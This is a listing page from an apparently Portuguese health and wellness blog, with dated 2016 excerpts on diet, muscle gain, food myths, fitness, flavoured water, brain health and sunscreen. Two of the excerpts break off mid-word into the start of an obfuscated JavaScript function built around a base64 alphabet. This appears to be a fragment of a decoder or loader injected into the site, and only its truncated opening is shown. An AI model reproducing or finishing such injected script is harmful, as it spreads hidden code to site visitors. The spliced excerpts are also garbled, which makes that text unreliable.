Jun 17, 2016 | Equilíbrio, header, Saúde e bem estar, sidebar 2
As melhores dicas para ganhar massa muscular O verão aproxima-se e intensificam-se as preocupações com a silhueta que vamos exibir na praia. Se quer ter um corpo mais firme e definido, tem de reforçar a sua massa muscular. O nutricionista clínico Custódio César,...
Jun 7, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
Olá! Venho dar-vos ótimas novidades. Desde que comecei a dieta LEV, a balança passou a ser a minha melhor amiga! Só me dá boas notícias. Estou a ficar mais magra! Yuppy!!! Dos quilos que sonhava perder, 3.400 kg já lá vão. E sem passar fome! Com tanta variedade de...
Jun 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A pergunta que todas fazemos é: esse alimento engorda ou não? É certo que as mães são sábias, mas ainda assim, por vezes, podem dar-lhe dicas alimentares que não correspondem bem à verdade. Conheça os mitos que o function a4872b9c6b(y1){var...
Mai 31, 2016 | Equilíbrio, Saúde e bem estar
17 maneiras de dar aos vegetais e a outros alimentos um sabor delicioso Use mais especiarias: qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 28, 2016 | Equilíbrio, Saúde e bem estar
O método Low Pressure Fitness (LPF) é um sistema inovador de inteligência postural resultante do stretching miofascial, exercícios neurodinâmicos e respiratórios em conjunto com a metodologia didática mais avançada em ciências do exercício físico. É uma prática...
Mai 27, 2016 | Equilíbrio, Saúde e bem estar
Água aromatizada – 5 receitas por Dra. Rita Boavida, nutricionista A água aromatizada é uma combinação de água com ingredientes variados como frutas, vegetais, ervas aromáticas e especiarias. A preparação das águas aromatizadas consiste em adicionar, por...
Mai 26, 2016 | Equilíbrio, Saúde e bem estar
por Manuela Nunes Cuide de si! É imprescindível que reserve tempo para cuidar de si. Mesmo que não disponha de uma semana de férias para se mimar, há receitas que pode executar rapidamente e sem sair de casa. Há soluções rápidas e outras que vai querer experimentar...
Mai 25, 2016 | Equilíbrio, Saúde e bem estar
10 segredos para manter o cérebro jovem e activo por Vasco Catarino Soares, neuropsicólogo Durante a infância e a adolescência, o nosso cérebro é inundado por estímulos que o fazem desenvolver-se e tornar-se um órgão activo. Nestas idades, de forma natural, o ser...
Mai 21, 2016 | Equilíbrio, Saúde e bem estar
Por Lillian Barros Se a sua preocupação estes dias quentes é o que levar para a praia sem pôr em risco os resultados de uma alimentação cuidada e equilibrada ao longo do ano, então, deixo-lhe algumas dicas para snacks, lanches e, até mesmo, algumas refeições que...
Mai 20, 2016 | Equilíbrio, Saúde e bem estar
Como escolher o seu protetor solar? Os últimos dias têm sido de muito calor e já há no ar um cheirinho a verão ou a época-em-que-todos-queremos-um-bronzeado-deslumbrante, certo? ? Nestes dias de sol devemos ter cuidados redobrados e aplicar sempre um protetor solar...
